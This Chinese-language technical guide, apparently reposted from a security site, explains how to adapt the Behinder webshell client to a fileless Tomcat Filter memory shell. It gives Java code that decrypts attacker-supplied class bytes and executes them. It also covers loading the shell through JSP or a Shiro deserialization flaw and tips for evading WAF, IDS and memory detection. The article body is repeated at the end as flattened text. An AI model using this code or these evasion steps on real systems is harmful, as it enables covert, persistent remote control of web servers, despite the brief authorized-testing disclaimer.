冰蝎改造之适配基于tomcat Filter的无文件webshell
字数 1241 2025-08-20 18:18:23

冰蝎改造适配Tomcat Filter无文件WebShell技术文档

一、背景与概述

本文档详细介绍了如何改造冰蝎(Behinder)工具,使其适配基于Tomcat Filter的无文件WebShell实现。传统WebShell通常需要上传文件到服务器,而无文件WebShell通过内存驻留技术实现持久化,具有更强的隐蔽性和对抗性。

二、技术准备

2.1 所需依赖

创建Maven项目,需添加以下依赖:

<dependencies>
    <dependency>
        <groupId>junit</groupId>
        <artifactId>junit</artifactId>
        <version>4.11</version>
        <scope>test</scope>
    </dependency>
    <dependency>
        <groupId>org.json</groupId>
        <artifactId>json</artifactId>
        <version>20170516</version>
    </dependency>
    <dependency>
        <groupId>javax.servlet.jsp</groupId>
        <artifactId>jsp-api</artifactId>
        <version>2.1</version>
        <scope>provided</scope>
    </dependency>
    <dependency>
        <groupId>asm</groupId>
        <artifactId>asm-all</artifactId>
        <version>3.3.1</version>
    </dependency>
    <dependency>
        <groupId>javax.servlet</groupId>
        <artifactId>servlet-api</artifactId>
        <version>2.5</version>
        <scope>provided</scope>
    </dependency>
    <dependency>
        <groupId>org.xerial</groupId>
        <artifactId>sqlite-jdbc</artifactId>
        <version>3.31.1</version>
    </dependency>
    <dependency>
        <groupId>org.apache.tomcat.embed</groupId>
        <artifactId>tomcat-embed-core</artifactId>
        <version>7.0.25</version>
    </dependency>
</dependencies>

2.2 冰蝎反编译

  1. 将冰蝎的jar包导入项目
  2. 使用IDEA反编译工具获取源代码
  3. 将反编译结果拷贝到项目中并做适当修改
  4. 冰蝎的主类位于ui.Starter

三、技术原理分析

3.1 冰蝎工作原理

冰蝎通过以下机制实现WebShell功能:

  1. 上传class字节码到目标服务器
  2. 使用ClassLoader的defineClass方法将字节码转换为Class对象
  3. 实例化上传的类,通过equals方法传递PageContext
  4. 通过PageContext获取Request、Response、Session等对象

3.2 Filter内存马限制

传统Filter内存马与冰蝎的适配问题:

  1. Filter中只有Request和Response对象
  2. Session需要通过Request获取:((HttpServletRequest)request).getSession()
  3. 冰蝎payload依赖的三个关键对象:
    • Request - 获取请求
    • Response - 写入响应结果
    • Session - 存放AES加密密钥

四、实现方案

4.1 方法一:反射获取Request对象

  1. 从ResponseFacade中反射获取内部Response对象:
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
org.apache.catalina.connector.Response resp = (Response) responseField.get((ResponseFacade) response);
  1. 从Response对象获取Request和Session:
ServletRequest request = resp.getRequest();
HttpSession session = resp.getRequest().getSession();
  1. Filter内存马核心代码:
try {
    if (u != null) {
        Cipher c = Cipher.getInstance("AES");
        c.init(2, new SecretKeySpec((u + "").getBytes(), "AES"));
        byte[] evilClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
        Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes);
        evilClass.newInstance().equal(response);
        return;
    }
} catch (Exception e) {
}
chain.doFilter(request, response);

注意:此方法在实际使用中可能会持续报错,需要进一步调试解决。

4.2 方法二:修改Payload入口点(推荐)

  1. 修改冰蝎payload,不再使用equals方法作为入口点
  2. 添加新方法作为入口:
public boolean fuck(ServletRequest request, ServletResponse response)
  1. 调整payload中所有对request、response和session的引用

  2. Filter内存马实现:

Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec((u + "").getBytes(), "AES"));
byte[] evilClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes);
Object a = evilClass.newInstance();
Method b = evilClass.getDeclaredMethod("fuck", ServletRequest.class, ServletResponse.class);
b.invoke(a, request, response);
return;

五、部署与测试

  1. 将生成的Filter通过JSP或Shiro反序列化漏洞加载到Tomcat系统
  2. 正常访问网站应显示正常页面
  3. 通过改造后的冰蝎客户端连接:
    • URL可随意填写
    • 连接成功后应能正常执行命令和管理

六、注意事项

  1. 此技术仅限安全研究和授权测试使用
  2. 实际应用中需要考虑对抗WAF和IDS的检测
  3. 内存驻留的稳定性需要进一步测试
  4. 建议对通信内容进行加密和混淆

七、扩展思考

  1. 可探索其他类型内存马的适配(如Servlet、Listener等)
  2. 考虑结合其他持久化技术增强隐蔽性
  3. 研究对抗内存检测的方法(如Java Agent检测)
  4. 优化通信协议减少特征

本技术文档提供了完整的技术实现路径,关键点均已涵盖,实际实施时需根据具体环境进行调整和优化。

冰蝎改造适配Tomcat Filter无文件WebShell技术文档 一、背景与概述 本文档详细介绍了如何改造冰蝎(Behinder)工具,使其适配基于Tomcat Filter的无文件WebShell实现。传统WebShell通常需要上传文件到服务器,而无文件WebShell通过内存驻留技术实现持久化,具有更强的隐蔽性和对抗性。 二、技术准备 2.1 所需依赖 创建Maven项目,需添加以下依赖: 2.2 冰蝎反编译 将冰蝎的jar包导入项目 使用IDEA反编译工具获取源代码 将反编译结果拷贝到项目中并做适当修改 冰蝎的主类位于 ui.Starter 三、技术原理分析 3.1 冰蝎工作原理 冰蝎通过以下机制实现WebShell功能: 上传class字节码到目标服务器 使用ClassLoader的defineClass方法将字节码转换为Class对象 实例化上传的类,通过equals方法传递PageContext 通过PageContext获取Request、Response、Session等对象 3.2 Filter内存马限制 传统Filter内存马与冰蝎的适配问题: Filter中只有Request和Response对象 Session需要通过Request获取: ((HttpServletRequest)request).getSession() 冰蝎payload依赖的三个关键对象: Request - 获取请求 Response - 写入响应结果 Session - 存放AES加密密钥 四、实现方案 4.1 方法一:反射获取Request对象 从ResponseFacade中反射获取内部Response对象: 从Response对象获取Request和Session: Filter内存马核心代码: 注意 :此方法在实际使用中可能会持续报错,需要进一步调试解决。 4.2 方法二:修改Payload入口点(推荐) 修改冰蝎payload,不再使用equals方法作为入口点 添加新方法作为入口: 调整payload中所有对request、response和session的引用 Filter内存马实现: 五、部署与测试 将生成的Filter通过JSP或Shiro反序列化漏洞加载到Tomcat系统 正常访问网站应显示正常页面 通过改造后的冰蝎客户端连接: URL可随意填写 连接成功后应能正常执行命令和管理 六、注意事项 此技术仅限安全研究和授权测试使用 实际应用中需要考虑对抗WAF和IDS的检测 内存驻留的稳定性需要进一步测试 建议对通信内容进行加密和混淆 七、扩展思考 可探索其他类型内存马的适配(如Servlet、Listener等) 考虑结合其他持久化技术增强隐蔽性 研究对抗内存检测的方法(如Java Agent检测) 优化通信协议减少特征 本技术文档提供了完整的技术实现路径,关键点均已涵盖,实际实施时需根据具体环境进行调整和优化。